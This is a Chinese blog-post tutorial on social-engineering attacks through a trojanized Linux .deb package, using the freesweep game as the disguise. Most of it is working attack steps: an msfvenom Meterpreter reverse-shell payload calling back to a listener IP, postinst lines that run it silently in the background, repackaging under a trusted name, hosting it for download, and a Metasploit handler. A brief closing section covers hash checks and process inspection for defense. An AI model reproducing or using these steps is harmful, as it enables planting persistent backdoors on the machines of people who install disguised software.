[社工渗透]Linux恶意软件包社工渗透

实验操作均在本地靶机内操作,据网络安全法,作者不对因阅读、理解、误用或滥用本文内容而导致的任何直接、间接、附带或后果性损害承担责任。

1、软件包结构浅析

找一个要伪装的软件包,这里我们以 freesweep_1.0.1-2_amd64.deb 扫雷游戏为例。
使用如下命令解压软件包到 free 目录:

dpkg -x freesweep_1.0.1-2_amd64.deb free

deb 软件包里面的结构:它具有 DEBIAN 和软件具体安装目录.



那么再解压 deb 包中 DEBIAN 目录下的文件:

dpkgdpkg -e freesweep_1.0.1-2_amd64.deb free/DEBIAN

进入 DEBIAN 目录下,有以下文件:


  • conffiles:是软件包管理系统在升级该软件包时不会覆盖的配置文件(通常在 /etc 中)的列表。这确保了对这些文件的本地修改会被保留,因此是一个非常重要的功能,使得正在运行中的系统的软件包可以被原地升级。
  • control:这个文件主要描述软件包的名称(Package),版本(Version),Installed-Size(大小),Maintainer(打包人和联系方式)以及描述(Description)等,是 deb 包必须具备的描述性文件,以便于软件的安装管理和索引。
  • postinst:负责完成安装包时的配置工作。如新安装或升级的软件重启服务。软件安装完后,执行该Shell 脚本,一般用来配置软件执行环境,必须以“#!/bin/sh”为首行。
  • postrm:负责修改软件包链接或文件关联,或删除由它创建的文件。软件卸载后,执行该 Shell 脚本,一般作为清理收尾工作,必须以“#!/bin/sh”为首行。

2、生成恶意木马绑定到软件包

使用 msfvenom 生成 Linux 木马到解压软件包的 /usr/games/目录下:

msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.124.66 LPORT=4444 -b "\x00" -f elf -o /root/test/free/usr/games/freesweep_sources

然后我们来修改安装后脚本文件,来加载后门:

 vim /root/test/free/DEBIAN/postinst

在适当位置添加如下代码:

sudo chmod +x /usr/games/freesweep_sources
sudo nohup /usr/games/freesweep_sources & 
sudo rm -rf /nohup.out


其中 & 是将命令放到后台运行,nohup 用于在系统后台不挂断地运行命令,退出终端不会影响程序的运行。使用命令 shell 时,在命令前加上 nohup 可防止在注销或退出 shell 时命令自动中止。

nohup 这个名字代表“不挂断”。挂断(HUP)信号通常被发送到进程以通知它用户已注销(或“挂起”),被 nohup 拦截,允许进程继续运行。

修改后给脚本再加一个可执行权限,然后构建新的 deb 包:

dpkg-deb --build /root/test/free/

再将其命名为可信的文件名 freesweep_1.0.1-2_amd64.deb。


python3 -m http.server 8000开个服务让目标机下载,自己做好监听:

msfdb run
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.124.66
set LPORT 4444
run

3、目标机下载软件包安装并上线

目标机收到你传给他的下载链接下载并安装 deb 包:

wget http://192.168.124.66:8000/freesweep_1.0.1-2_amd64.deb
sudo dpkg -i freesweep_1.0.1-2_amd64.deb

只要安装了木马就上线了,和游戏开没开没关系,游戏打开是这样:



kali端上线:



ubuntu 卸载 freesweep:
sudo dpkg -r freesweep

我们发现就算恶意软件包被卸载,payload 依旧正常运行。


4、避免中招

对于官方源中已有的软件包,如果必须通过外部链接下载,务必进行哈希值校验

  • 获取官方校验值:从官方镜像站或使用 apt-get download 下载正版包,然后使用 sha256sum 包名.deb 计算其哈希值。
  • 校验下载包:对下载的可疑包执行相同的哈希计算,对比两者结果。若不一致,说明包已被篡改,绝对不可安装。

安装软件后,如果怀疑系统异常,可以使用以下命令进行排查:

  • 查看网络连接:使用 netstat -antlpss -tulnp 查看是否有未知的外部连接(特别是连接到陌生 IP 的 TCP 连接)。
  • 查看可疑进程:使用 ps aux | grep -v "合法进程名"top 命令,查找占用资源异常或名称奇怪的进程。
  • 检查后台任务:注意实验中使用了 nohup& 将进程放入后台。检查是否有通过 nohup.out (已被删除)或其他日志文件隐藏输出的进程。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

友情链接更多精彩内容